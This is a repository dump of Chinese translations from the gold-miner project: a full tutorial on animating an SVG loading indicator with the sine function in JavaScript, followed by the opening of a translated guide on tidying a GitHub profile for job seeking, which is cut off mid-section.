    "content": "> * 原文地址：[How you can use simple Trigonometry to create better loaders](https://uxdesign.cc/how-you-can-use-simple-trigonometry-to-create-better-loaders-32a573577eb4)\n> * 原文作者：[Nash Vail](https://uxdesign.cc/@nashvail?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-you-can-use-simple-trigonometry-to-create-better-loaders.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-you-can-use-simple-trigonometry-to-create-better-loaders.md)\n> * 译者：[DM.Zhong](https://github.com/zhongdeming428)\n> * 校对者：[Ruochen Li](https://github.com/liruochen1998)\n\n# 怎样使用简单的三角函数来创建更好的加载动画\n\n最近在研究登录页面的时候，我偶然进入了一个网站。这个网站对于使用的人而言非常棒也非常有用。这个网站上的一个小细节虽然吸引了我的注意力，但是我却不那么轻松。\n\n![](https://cdn-images-1.medium.com/max/800/1*i-AvsEyZqhaQ9aK5huIv6A.gif)\n\nNooooo！\n\n注意到这个，圆圈们不太自然的抖动以及不那么流畅的运动让我有了写这篇文章的想法。\n\n这篇文章所要做的一件事就是使用基础三角函数的概念重新创建一个上方加载动画的更加流畅的版本。我知道这听起来可能很奇怪，但是相信我，这将会非常有趣。你会被这个加载动画工作起来所需要的代码量之小所惊讶到。而且，弄懂这篇文章根本不需要你是一个数学天才，甚至不需要你懂三角函数，我会解释所有的一切。\n\n下面是我们要做的事情！\n\n![](https://cdn-images-1.medium.com/max/800/1*DPzqs50u_Pl09acuSu1jpQ.gif)\n\n很流畅！\n\n### 让我们开始吧\n\n我们所要实现的加载动画实际上是由三个小圆周期性的上下运动所组成的，每一个的运动都与其它两个不同步。\n\n让我们把它分解成多个部分，首先，我们会得到一个小圆流畅地周期性地上下运动。我们稍对剩余的部分进行分析。\n\n欢迎你随时进行编码。\n\n#### 1. 给小圆定位\n\n![](https://cdn-images-1.medium.com/max/1000/1*78yw0Ivdxm-bcrmSvbTYkg.png)\n\n上面的代码在 `<svg>` 元素的中间画了一个小圆。\n\n![](https://cdn-images-1.medium.com/max/800/1*lcafSsoXqgg7mmAhB6jG9g.png)\n\n图 1：SVG 输出的非实际示意图\n\n让我们理解一下它是怎么实现的。\n\n`width` 和 `height` 属性使我们想要的实际尺寸。简单起见，就是我们的 `SVG` 元素或者是盒子的宽度和高度。\n\n![](https://cdn-images-1.medium.com/max/800/1*kHROytMDZzes7dvxRkPcfQ.png)\n\n图二：SVG 盒子的宽度和高度\n\n默认情况下，`SVG` 盒子具有传统坐标系，它的原点在左上角， `x, y` 的值分别向右和向下递增。同样在默认情况下，每一个单位都对应一个像素，这样盒子的四个角落根据给定的 `width` 和 `height` 具有适当的坐标。\n\n![](https://cdn-images-1.medium.com/max/800/1*_09TMPUcoWWmpJcMjvbqiA.png)\n\n图三：SVG 盒子的四个角以及它们的坐标\n\n下一步非常简单地小学数学知识的运用。盒子中心点的坐标可以通过 `(width/2, height/2)` 计算出来为 `(150, 75)`。我们把这两个值分别赋给 `cx` 和 `cy` 以便于把小圆圈定位于盒子的中心。\n\n![](https://cdn-images-1.medium.com/max/800/1*8PUOQSHkAnVtBB49TjM_Yw.png)\n\n图四：计算盒子的中心点\n\n#### 2. 让小圆圈动起来\n\n我们这一节的目的就是使小圆圈动起来。但是不仅仅是无规律的简单形式的任何运动。我们需要小圆圈做**周期性的上下运动**。\n\n![](https://cdn-images-1.medium.com/max/800/1*UOk_1DHKmvN2CnbFryNmSg.png)\n\n图五：预期的运动\n\n#### 2.1 周期性运动中的数学知识\n\n周期性是指事情发生在有规律的时间间隔内。最简单的例子就是每天的日出和日落。不管现在是什么时候，比如下午 6:30，24 小时后还是下午 6:30，而且在那个时候的 24 小时之后仍然是下午 6:30。它很有规律，它恰好在 24 小时的时间间隔内发生。\n\n假设现在是中午，太阳位于天空中它一天中的最高点，24 小时候它仍然在那里。或者假如现在是晚上并且夕阳处在地平线，随时都会落下去，24 小时之后，它又在做着相同的事情。你明白我举这些例子是为了说明什么了吗？\n\n![](https://cdn-images-1.medium.com/max/800/1*PsqRzgZxHJjN5ApMPx_hrA.png)\n\n图六：日出和日落的循环\n\n这是一个非常简单的示意图，有些人可能会说在某些层面（科学）上是不准确的，但我认为它仍然表示出了太阳重复位置的点，相当好。\n\n如果我们画出来一天中太阳在天空中的垂直位置，我们可能会发现其周期性愈发明显。\n\n为了画出来一条二维曲线，我们需要两个值，`x` 和 `y`。在我们的例子中是[一天中的] `time` 和 `positionOfTheSun`（译者注：太阳的位置）。我们收集到了一系列的这样的值，把它们画在一张图上就得到了我们想要的。\n\n![](https://cdn-images-1.medium.com/max/2000/1*HEtKZZzLExSGpcOosYov8w.png)\n\n图七：把日出和日落的循环画在一张图上\n\n垂直坐标轴或者说是 `y 轴`就是太阳在天空中的垂直位置；水平坐标轴或者说是 `x 轴`代表时间。随着时间的变化，太阳的位置也会发生变化，并且这样的值在 24 小时之后会重复出现。\n\n现在我们已经得到了有关太阳位置的知识图谱，这样即使我们处在黑暗的洞穴里，我们也可以知道此时此刻太阳在天空中的位置。要想知道我们是如何做到这点的，首先让我们继续，给我们的图表命名为 `sunsVerticalPositionAt`。\n\n一旦我们得到了有关太阳位置的知识图表，我们可以得到以下公式……\n\n`verticalPositionInTheSky = sunsVerticalPositionAt( [time] )`\n\n我们只需要把我们的时间代入图表（或者从数学的角度说，是函数），然后我们就可以得到太阳在天空中的位置。这就是怎样得到太阳位置的方法。\n\n![](https://cdn-images-1.medium.com/max/1000/1*MESaCB0KXypWR1A0CY4l6w.png)\n\n图八：根据图表计算太阳的位置\n\n我们选一个想要知道太阳位置的时间（假设是 t1），画一条垂直的线，它会与图表中的曲线相交，经过这个交点我们再画一条水平的直线让它与 `y` 轴相交。水平直线与 `y` 轴的交点所代表的数值即为 t1 时刻太阳在天空中的位置。这样看来我们并不需要离开我们的洞穴就可以知道太阳在天空中的位置了。\n\n我想我已经用了足够多的比喻来进行解释，接下来我们讲一些数学知识。把图表中的太阳和其它装饰都删除掉，就得到了我们所想要的。\n\n![](https://cdn-images-1.medium.com/max/800/1*62AF8P78hlEWuGuimpIBPA.png)\n\n图九：周期曲线\n\n这张图表很直观地表示了周期性。一个对象（在我们的例子中是 Sun 的垂直位置）重复其作为另一个对象的值（在我们的例子中是时间）。\n\n数学当中有许许多多周期性函数，但是我们仍然坚持周期函数最基本的特征，我们打算使用 `y = sin(x)` 函数作为创建最完美的加载动画的公式，也就是著名的正弦公式。\n\n下面是 `y = sin(x)` 的曲线图。\n\n![](https://cdn-images-1.medium.com/max/800/1*vLZmqxh-hC_ouYa5VfxipA.png)\n\n图十：正弦曲线\n\n你是不是突然发现了什么？你有没有发现正弦公式和计算太阳在天空中位置的公式的相似之处？\n\n我们可以传入一个 `x` 值然后得到 `y` 的值。就像我们可以传入 `time` 然后计算出太阳在天空中的位置一样……不用离开我们的洞穴，好吧我再也不开这个洞穴的玩笑了。\n\n如果你在思考什么是[正弦公式](https://en.wikipedia.org/wiki/Sine)？好吧，那就是一个函数的名字，就像我们给我们的图表（或者函数）命名为 `sunsVerticalPositionAt`。\n\n这里需要注意的是 `y` 和 `x`。看一下 `y` 是怎样随 `x` 的变化而变化的。（你可以把它和我们太阳在天空中垂直位置随时间变化的例子联系起来吗？）\n\n同样的可以注意到 `y` 的最大值是 1，最小值是 -1。这只是正弦函数的一个特征。`y = sin(x)` 的值域为 -1 到 +1。\n\n但是这个值域是可以改变的，我们将一点一点的做。但在这之前，让我们把目前所学的所有知识都运用起来，实现小圆圈的运动。\n\n#### 2.2 从数学知识到代码\n\n现在我们已经在 `<svg>...</svg>` 中画了一个圆圈，并且这个圆圈的 ID 是 `c`。让我们继续，然后通过 JavaScript 让它舞动起来！\n\n```\nlet c = document.getElementbyId('c');\n\nanimate();\nfunction animate() {\n  requestAnimationFrame(animate);\n}\n```\n\n上面代码所做的事情很简单，一开始我们获取到了圆圈并且把它存到了一个叫做 `c` 的变量中。\n\n接下来，我们使用了 `requestAnimationFrame` 函数和一个叫做 `animate` 的函数。`animate`通过 `requestAnimationFrame` 函数递归的调用它自己，以 60 FPS 的速度运行其中的任何动画代码（尽可能）。在[这里](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)获取更多有关 `requestAnimationFrame` 的知识。\n\n你所需要知道的是每次 `animate` 被调用时，其内部的代码描述了动画中的单个帧。当它下一次被递归地调用的时候，这一帧就发生了一点点的变化。这一变化在高速下（60 FPS）不断的重复，然后就出现了我们所要的动画效果。\n\n看一下代码理解得更清楚一些。\n\n```\nlet c = document.getElementById('c');\n\nlet currentAnimationTime = 0;\nconst centreY = 75;\n\nanimate();\nfunction animate() {\n  c.setAttribute('cy', centreY + (Math.sin(currentAnimationTime)));\n  \n  currentAnimationTime += 0.15;\n  requestAnimationFrame(animate);\n}\n```\n\n我们添加了四行代码。如果你运行这些代码，你就会看到圆圈会在中心点附近缓慢地移动，就像下面这样。\n\n![](https://cdn-images-1.medium.com/max/800/1*wI9UjHHitmJ7BLOV0o_OUg.gif)\n\n下面是代码的解释。\n\n一旦我们知道了圆圈中心点的坐标， `cx` 和 `cy`，这里是盒子宽度和高度的一半。首先，我们把 `cx` 放在一边，因为我们不想改变小圆圈的水平位置。我们需要定期从 `cy` 添加或减去相同的数字以使得小圆圈上下移动。这也正是我们在代码中所做的。\n\n![](https://cdn-images-1.medium.com/max/800/1*NAyM8tc_MbFvaYXBdrFi_g.png)\n\n图十一：改变小圆圈中心点的 y 坐标\n\n`centreY` 存储着小圆圈中心点的 Y 坐标的值（75），这样就可以从 `centreY` 增加或者减去一定的值 —— 就像已经提到的那样 —— 改变小圆圈的垂直位置。\n\n`currentAnimationTime` 是一个被初始化为 0 的值，它决定了动画变化的快慢，我们在每次调用中给它增加的值越多，动画变化得越快。我通过尝试和错误选择了 `0.15` 这个值，因为它看起来像是一个足够好的动画速度。\n\n`currentAnimationTime` 是正弦函数的 `x` 值。当 `currentAnimationTime` 的值增加以后，我们把它传给 `Math.sin` 函数（一个内置的用于计算正弦值的 JavaScript 函数），然后把它经过 `Math.sin` 函数计算出来的值添加到 `centreY` 上……\n\n![](https://cdn-images-1.medium.com/max/1000/1*dgAeM9JtvnYedY2AKBjMMg.png)\n\n……然后使用 [setAttribute](https://developer.mozilla.org/en/docs/Web/API/Element/setAttribute) 把最后的结果赋值给 `cy`。\n\n![](https://cdn-images-1.medium.com/max/1000/1*YtD5kKXiSLrlIBmfzqbjzg.png)\n\n就像我们知道的那样，对于任意一个 `x` 值，都可以使用正弦函数产生一个 `-1` 到 `1` 之间的值。因此，`cy` 的值最小为 `centreY — 1`，最大为 `centreY + 1`。这就导致小圆圈在垂直方向上的抖动距离为 1 像素。\n\n![](https://cdn-images-1.medium.com/max/800/1*Nm51v_IikurNFWH_NG_iBg.png)\n\n图十二\n\n我们想要增加这个抖动的间距。这就意味着我们需要一个比 1 更大的数字。我们该怎么做呢？我们需要一个新的函数吗？No！\n\n还记得我们要在 2.2 节开始之前进行一个操作吗？ 这非常简单，我们需要做的就是将正弦乘以我们想要的边距。\n\n将函数乘以常数的操作称为缩放。请注意图形如何改变其形状，还有乘法对正弦的最大值和最小值的影响。\n\n![](https://cdn-images-1.medium.com/max/1000/1*refKM0MJrZ8yPsPruGuTWw.png)\n\n图十三：图形缩放\n\n现在我们知道该怎么做了，让我修改一下代码。\n\n```\nlet c = document.getElementById('c');\n\nlet currentAnimationTime = 0;\nconst centreY = 75;\n\nanimate();\nfunction animate() {\n  c.setAttribute('cy', \n  centreY + (20 *(Math.sin(currentAnimationTime))));\n  \n  currentAnimationTime += 0.15;\n  requestAnimationFrame(animate);\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*fZ1VREG9A02CeGdS1-q_ng.gif)\n\n这产生了一个非常流畅的小圆圈上下运动的动画。很可爱吧？\n\nWhat we just did is increased the **_amplitude_** of the Sine function by multiplying a number to it.\n\n我们所做的只是通过将函数乘以一个固定数字，增加了正弦函数的**振幅**。\n\n下一步我们要做的是添加两个小圆圈到原来小圆圈的两边，然后让它们以同样的方式动起来。\n\n```\n<svg width=\"300\" height=\"150\">\n  <circle id=\"cLeft\" cx=\"120\" cy=\"75\" r=\"10\" />\n  <circle id=\"cCentre\" cx=\"150\" cy=\"75\" r=\"10\" />\n  <circle id=\"cRight\" cx=\"180\" cy=\"75\" r=\"10\" />\n</svg>\n```\n\n我们已经做了一点改变，这里的代码也已经被重构了。首先，请注意到两行新的粗体代码。它们是两个新的小圆圈，一个在原来小圆圈左边的 30 像素处（150 - 30 = 120），一个在原来小圆圈右边的 30 像素点处（150 + 30 = 180）\n\n之前，我们给了唯一的那个小圆圈一个 ID 为 `c`，它能够正常运动因为只有一个小圆圈。但是现在我们已经有了三个小圆圈，最好给它们都取一个描述性很强的 ID。我们已经完成了这个工作，这些小圆圈从左到右 —— ID 为 `cLeft`，`cCentre` 和 `cRight`。原来的小圆圈的 ID 已经由 `c` 变成了 `cCentre`。\n\n运行以上代码，下面就是我们得到的效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*TToQCA0u__qkKLWoWlxa8A.gif)\n\n很好，但是新添加的小圆圈都没有动起来！好吧，现在要让它们动起来了。\n\n```\nlet cLeft= document.getElementById('cLeft'),\n  cCenter = document.getElementById('cCenter'),\n  cRight = document.getElementById('cRight');\n\nlet currentAnimationTime = 0;\nconst centreY = 75;\nconst amplitude = 20;\n\nanimate();\nfunction animate() {\n\n  cLeft.setAttribute('cy', \n  centreY + (amplitude *(Math.sin(currentAnimationTime))));\n\n  cCenter.setAttribute('cy', \n  centreY + (amplitude * (Math.sin(currentAnimationTime))));\n\n  cRight.setAttribute('cy', \n  centreY + (amplitude * (Math.sin(currentAnimationTime))));  \n\n  currentAnimationTime += 0.15;\n  requestAnimationFrame(animate);\n}\n```\n\n只添加了寥寥几行代码就达到了我们的目标，给新的小圆圈都添加了和 ID 为 `cCentre` 的小圆圈一样的动画代码，下面是我们得到的效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*TWnBExRuU-h2V_2RY1f2Qg.gif)\n\n哇哦！新的小圆圈也动了起来！但是，我们现在得到的效果，根本不像是一个我们想要做出来的加载动画。\n\n尽管小圆圈们周期性的动了起来，现在还是有问题，因为它们的动作是同步的。这不是我们想要的。我们希望每个连续的小圆圈在运动时都有一些延迟。所以看起来，除了第一个小圆圈之外，后面的小圆圈看起来像循环之前的小圆圈的运动。就像下面这样。\n\n![](https://cdn-images-1.medium.com/max/800/1*zu3l5_VPcIk9nx1WyRUkTA.gif)\n\n你注意到了吗？每个小圆圈的运动都比它左边的小圆圈慢一步。如果你用手遮掉两个小圆圈，你会发现你看到的那个小圆圈的上下运动仍然跟我们在 2.2 节中实现的动画一样。\n\n现在为了让小圆圈不同步，对其进行干扰，我们只需要对我们的代码做一个微小的改变。但了解这种微小变化如何起作用很重要。让我们来看看。\n\n如果我们用之前的时间 - 位置曲线图绘制每个圆圈的运动，如下图所示，这就是图形的样子。\n\n![](https://cdn-images-1.medium.com/max/800/1*XSv5fY5aRYY0fdOsPK-9BQ.png)\n\n图十四：三个小圆圈的运动图\n\n这里没有惊喜，因为我们知道每个小圆圈都以相同的方式运动。理解一下它，因为我们使用正弦函数来实现这个动画，所以上面的所有曲线都只是正弦函数的图形。现在为了让这些图不同步，我们需要了解图象平移/图象变换的数学概念。\n\n平移是一种严格的变换，因为它不会改变函数曲线的形状或大小。所有这些转变将会改变曲线的位置。平移可以是水平或垂直的。对于我们的目的而言，我们对水平平移感兴趣（如您所见）。\n\n注意一下 Gif 中 `a` 值发生变化时，`y=sin(x)` 的曲线图是怎么水平移动的。\n\n![](https://cdn-images-1.medium.com/max/800/1*XhmFUvhr_BEmEUhRJP9MvQ.gif)\n\n图十五：图象变换（示例）\n\n为了理解其中的原理，让我重新回到日出和日落的比喻当中。\n\n我们的函数又是哪个？`sunsVerticalPositionAt（t）`。那就对了！好的，所以我们可以给函数传入时间参数，并在特定的时间获得太阳在天空中的垂直位置。因此，为了在上午9点得到太阳的位置，我们可以写 `sunsVerticalPositionAt（9）`。\n\n现在看一下 `sunsVerticalPositionAt(t — 3)`。认真注意一下，不管我们传入了什么时间（t）到函数中（这里使用 t - 3 代替 t），我们都会得到比 t 时刻早三个小时的时候，太阳在天空中的位置。\n\n![](https://cdn-images-1.medium.com/max/800/1*83lHHMKTJHaq7cV9FjNAGQ.png)\n\n图十六\n\n这意味着 t = 9 的时候，我们得到的是 6 时刻的结果，而在 t = 12 的时候，我们得到的也是 9 时刻的结果。我们用这种方式连接函数，换句话说，函数返回的值比 `t` 传递的时刻更早。\n\n我们也可以说，我们将函数的图象在 x 轴向右进行了平移。注意到下面图象中，变换之前的图象在 `t = 6` 时刻的值为 `B`。当图象被平移后，`B` 会作为 `t = 9` 时刻的结果返回。\n\n![](https://cdn-images-1.medium.com/max/1000/1*0KgfprzfADpVVAv_whQfNQ.png)\n\n图十七：变换之后的图象\n\n同样的，如果我们给参数**加 3** 而不是减三，`sunsVerticalPosition(t + 3)` 的图象会向左平移，或者换句话说，函数返回的值会比原来传入的时刻晚 3 小时。你明白这是为什么吗？\n\n随着这个知识的概念在我们头脑中的形成，我们现在可以做的就是进行图象变换以使得决定最后两个小圆圈动画的图形像下面这样。\n\n![](https://cdn-images-1.medium.com/max/1000/1*hQc9dC3z1XZnWcTHLbBxYg.png)\n\n图十八\n\n为了完成这个效果，我们需要小小地修改一下代码。\n\n```\nlet cLeft= document.getElementById('cLeft'),\n  cCenter = document.getElementById('cCenter'),\n  cRight = document.getElementById('cRight');\n\nlet currentAnimationTime = 0;\nconst centreY = 75;\nconst amplitude = 20;\n\nanimate();\nfunction animate() {\n\ncLeft.setAttribute('cy', \n  centreY + (amplitude *(Math.sin(currentAnimationTime))));\n\ncCenter.setAttribute('cy', \n  centreY + (amplitude * (Math.sin(currentAnimationTime - 1))));\n\ncRight.setAttribute('cy', \n  centreY + (amplitude * (Math.sin(currentAnimationTime - 2))));\n\ncurrentAnimationTime += 0.15;\n  requestAnimationFrame(animate);\n}\n```\n\n现在就对了，我们平移了图象，使得 `cCenter` 和 `cRight` 代表的小圆圈符合要求地动了起来。\n\n![](https://cdn-images-1.medium.com/max/800/1*xfAZYoKogskpdY16yPF2Hw.gif)\n\n上图就是！我们加载动画的小圆圈按照绝对的数学精度运动。值得庆祝一下！你可以随时使用不同的值，例如增加 `currentAnimationFrame` 的值以控制动画速度或`幅度`来控制偏移量，并使加载动画按照您希望的方式进行动画运动。\n\n纳什，你写这么长的文章解释一个简单的加载动画的错综复杂，你疯了吗？不！你为了阅读它而疯狂。[让我们成为朋友！](http://twitter.com/NashVail)在你点击之前，我还有几个更新共享:)\n\n* * *\n\n我有个**我的第一个在线课程**用于讲授 Git 和 GitHub 的使用技巧！你可以使用[这个链接获得免费的2个月Skillshare会员资格](https://skl.sh/2riYNbD)（需要信用卡支付来支持一下我😸），或者使用[这个链接来查看免费课程](https://skl.sh/2HPQVIR)。\n\n* * *\n\n你使用过 Sketch 吗？如果是的话那么你可能会发现我创建的这个库对 wire-framing 有帮助！\n\n![](https://cdn-images-1.medium.com/max/800/1*BJw94iuZPiGlf10DVaaF4A.png)\n\n[签出 Wireframe.sketch.](https://github.com/nashvail/Wireframe.sketch)\n\n* * *\n\n最后，当我创作/写作/教授某些我认为可能对你有帮助的东西时，我可以向你发送一封电子邮件吗？让我知道你的电子邮件地址。没有垃圾邮件，这是我的承诺。\n\n**再次感谢您的阅读！祝您每天愉快！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how_to_prep_your_github_for_job_seeking.md",
    "content": "> * 原文地址：[How to prep your GitHub for job seeking](https://www.reddit.com/r/webdev/comments/90xmpw/how_to_prep_your_github_for_job_seeking/)\n> * 原文作者：[yopla](https://www.reddit.com/user/yopla/) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how_to_prep_your_github_for_job_seeking.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how_to_prep_your_github_for_job_seeking.md)\n> * 译者：[nettee](https://github.com/nettee)\n> * 校对者：[PingHGao](https://github.com/PingHGao)、[Chorer](https://github.com/Chorer)\n\n# 如何为求职准备你的 GitHub\n\n不论是否合理，技术招聘方倾向于从你的 GitHub 个人资料中推断出很多关于你的信息。而且现在越来越多的招聘者会要求提供、或者通过简单的 Google 搜索找到你的 GitHub 账号。因此，对于找工作的开发人员而言，有必要将 GitHub 看作简历的扩展。\n\n明白了这一点之后，根据我在过去几周面试过的人的 GitHub 账号中的“错误”，我总结了几点指导方针。\n\n我主要关注的是开发人员，但是很多观点是可以通用的。\n\n> 我迁移到了 GitLab，因为 M\\$ 太烂了。（译注：*M\\$* 是对 Microsoft 的讽刺写法）\n\n让我们首先快速避开这个误区。\n\n首先，专业的成年人不会（在公开场合）发表这样的言论，所以请你自己保留这个观念，而不要像我曾经看到的一个例子一样，把这句话写在一个置顶仓库的 README.md 里。虽然我们公司现在没有使用任何微软的产品，但不排除未来因为技术或财务上的优点而选择使用微软的某个产品。我们不需要一个不能以开放的态度来评估技术的开发者。\n\n看起来 GitLab 是一个不错的替代品，但由于我自己使用 GitHub，而且我每看 20 个 GitHub 的个人资料才会看一个 GitLab 的，所以我会对 GitHub 的界面更熟悉。当然我不是说你必须使用 GitHub，下面的建议或多或少可以适用于其他的平台。（不过如果你用的是 bitbucket，你显然从来没有投递过我们公司……）\n\n### 整理你的个人资料\n\n首先，让我们看看你的个人资料需要达到的最低要求。\n\n### 添加你的头像、简单的介绍，以及指向你其他相关网站的链接\n\n拥有完整的个人简介会给人一种印象：你在乎你的 GitHub，而且是一个有条理的人。我们已经有你的简历了，也可能有你的 LinkedIn，但如果你的 GitHub 是三者中最差的，会给人留下最长久的印象。\n\n**真实的照片要比卡通、漫画或符号更好。**\n\n如果你在找工作，那仪表整洁很重要。请避免出现那些你一般不会发给雇主的图片，包括裸体、醉酒、忍者、黑客、恐怖分子伪装，或是任何让人觉得你表里不一的图片。\n\n你可能想在 GitHub 个人资料上表现得轻松友好一点，所以避免使用过于正式的照片，但也要保持专业。毫无疑问，这种目标就是“休闲星期五”的风格。\n\n最后，别放你的毕业宽袍照。那不是个好图片，让你看起来没有经验。\n\n**使用 @ 来链接到招聘者应当注意的其他仓库。** 可能是你的公司、组织，或者是其他你正在参与或管理的仓库。\n\n添加你的个人网站的 URL。如果你有个人网站，而且还算看得过去，就应该把它放上去。（提示：如果这个网站看起来像一坨屎，也许你一开始就不应该建这个网站……）\n\n链接到你其他相关的个人资料。如果你在其他网站也很活跃，例如  StackOverflow、CodePen、Behance、Dribble 或其他网站，确保你的个人资料都连接起来。但是不要链接到兽人、御宅或是角色扮演论坛（译注：都是二次元相关），这些和你的专业经历无关。\n\n> **关于意外链接的说明**\n>\n> Google 生成链接的能力很强，所以如果你不想让招聘者发现，最好不要在不同的网站上用一样的昵称。我们在做社交媒体检查的时候就会在 Google 上搜索。\n>\n> 我不知道有多少次搜索一个 GitHub 用户名的时候，从 Google 找到的关联中，发现了他们的另一面，有在 Upwork 上和雇主竞争的，有在 Instagram 上非法养犬并进行投标的。\n\n### 为招聘者选择你的置顶仓库\n\n如果你正在找工作，出现在你的个人资料顶部的置顶仓库不应该是你最常访问的仓库的快捷方式，而应该是展示你最引人注目的仓库的展示处。也许这两者是相同的仓库，但通常情况下不是的。\n\n作为招聘者，我不关心你的 bash_profile，而是想看到你想给招聘者突出显示的仓库。它们应该比较相关、展示你做过的工作，等等。\n\n⚠️ 将你想要让招聘者查看的三个仓库置顶。\n\n### 不要置顶入门教程\n\n请注意，我们会看很多简历。如果你的仓库是教程或者新手训练营，那有可能我已经看过三次或者三十次了。过于简单的项目，或者 80% 来自教程、你只是简单地填了一些空的项目，它们并不能让我了解你的能力，甚至让我觉得你最多只能做这些了。有这些仓库不是问题，只是不要突出显示它们。\n\n如果你只有这些仓库，那么最好不要置顶任何仓库，然后把这些仓库就命名为：教程。不要把它们转化成自己的原创，也不要夸大它们。它们只是新手教程，不会给任何人留下深刻的印象。正如我前面提到过的，我可能已经看过[这个教程](https://github.com/search?q=pig+dom)了。\n\n### 将使用了相关技术的 demo 置顶\n\n**…把它们放在更大型但是技术过时的项目之前。**\n\n例如，如果你在市场上寻求 SPA 开发的职位，则将 Angular/React/Vue 技术的 demo 放在你三年前写的 Laravel + jQuery 的大项目之前。\n\n如果你像大多数人一样，没有一个成功的开源项目，你平时的大部分生产代码都是雇主的资产，你可能会因为没有用来展示的引人注目的项目而难过。不过不用担心，大部分人都是没有的。\n\n最好不要试图展示过于宏大但未完成、几乎废弃的项目（谁还没有一个或者…… 十个呢？），而是在你选择的框架中聚焦于有趣的小型技术 demo。如果你已经在专业领域工作，那肯定有你解决过的问题，可以作为一个有趣 demo 的内容。你只需要快速地重写它，或者让你现在的上司授权给你发布。\n\n**如果你是个初学者**，我建议你制作一些展示你对计算机科学的理解的 demo，即使它只是用 React 或者 Vue 写的冒泡排序或者树遍历的可视化。和你的那些看着 Udemy 教程做出一个 todo 应用的同伴相比，你简直是一个天才。\n\n**一些启发性的项目：**\n\n-   <https://www.cs.usfca.edu/~galles/visualization/Algorithms.html>\n-   <https://visualgo.net/en>\n\n如果在 CS 以外你还有其他爱好，比如音乐，可以把它们融合起来。例如做一个[小的合成器](https://github.com/JanCVanB/vue-synth/blob/master/src/components/Synth.vue)或者什么。\n\n### 删除无用的 fork\n\n我收到过好多个人资料，里面包含了一大堆 fork 过来的仓库，但没有任何贡献。首先，这会让人看不出你到底真正在做什么；其次，这会让人觉得你不会用 Git（和 GitHub），在把 fork 当书签用。\n\n有些人会用 fork 的项目来“填充”他们的个人资料，似乎这样可以给招聘者或朋友留下深刻的印象。但这并不能让人印象深刻，只会让你看起来像个蠢货。不要这么做。\n\n⚠️ 只有在你真正做贡献的时候才 fork 仓库。其他情况请使用加星或者关注。\n\n### 清理你加星的仓库\n\n这话可能让很多人生气，但事实就是这样：你加星的仓库会让对你感兴趣的访问者改变他们对你技能成熟度的看法，所以你给什么加星会影响别人如何看待你。\n\n⚠️ 你应该检查最新几页的星标内容，删除那些可能让人产生误解的。\n\n#### 初学与高级\n\n粗略地说，寻找高级职位的人应该给那些有复杂项目的仓库加星，而避免给太多初学或教程仓库加星（除非你在为这个仓库做贡献）。\n\n想象一下，你查看一个高级 React 开发者的个人资料，发现她最新感兴趣的两个仓库是 [iliakan/javascript-tutorial-en](https://github.com/iliakan/javascript-tutorial-en) 和 [kay-is/react-from-zero](https://github.com/kay-is/react-from-zero)，你可能会怀疑这个候选者是否有她所声称的技能，或者她是否仍然处于入门级别。\n\n另一方面，如果你确实在申请初级职位，或者表明你正在学习这项技术，那么给这两个仓库加星是说得通的。\n\n#### 白帽与黑帽\n\n我喜欢安全方面的东西。从白帽的角度来看，任何开发者关注安全领域都是加分项，但请避免给一长串奇怪的破解工具加星，除非你正在申请安全相关的职位。我曾经看过一个人的资料，有一长串的 wifi 破解和钓鱼工具，然后是一堆共享枚举器，以及密码暴力破解工具。这并不是一种展示自己的好的方式。\n\n等等……\n\n### 整理你所展示的仓库\n\n一旦你选好了几个用于展示的仓库，确保它们是可以访问的。以下是它们应当具备的最低要求：\n\n### 任何项目都应该有一个有趣的 README\n\n无论为了什么，都请你一定、一定给你的项目加上说明。这听起来理所应当，但我不知道有多少次看到了没有任何 readme 的项目，或者是不知道什么框架工具生成的默认 readme。\n\n下面是你的 readme 里应当具备的最低要求：\n\n#### 项目说明\n\n你需要让一个人能在 60 秒内就轻易地理解这个项目究竟是什么，以及为什么能体现你是一个优秀的程序员。\n\n确保你至少回答了以下的问题：\n\n- **它是做什么的？**用一句简短的话概括，列出它的功能。\n- **它是什么？**清楚地指出代码会产出什么。是网页、桌面应用，移动应用，还是库？\n- **使用了什么技术？**列出这个项目使用到的重要的框架和库。对于那些不一定熟悉地球上每一个框架的招聘者来说，这很有用，能让他知道这是 Laravel + Vue，还是 React + Expressjs。\n- **这个项目的目标是什么？**你是仅仅在试驾一项技术，还是准备做出正在或将被使用的技术？\n- **这个项目处在什么阶段？**清楚地指出你正在进行哪一阶段。这个项目是完成了，还是正在进行中？如果是正在进行中，指明已完成和待处理的内容。\n- **是否存在一些已知问题，或没有正确完成的事情？**如果有，列出这些问题，因为比起我自己发现缺点，如果它们是突出列出来的，我会宽容得多。\n\n#### 告诉我该看什么\n\n如果你坚持展示一个大型的项目，那里面很可能会有很多完全没意思的样板代码和辅助内容，因此请毫不犹豫地指出最有趣的部分在哪里。\n\n如果这是一个你正在贡献的 fork 项目，请确定你正在做的部分。如果很难定位到，请不要展示这个项目。\n\n#### 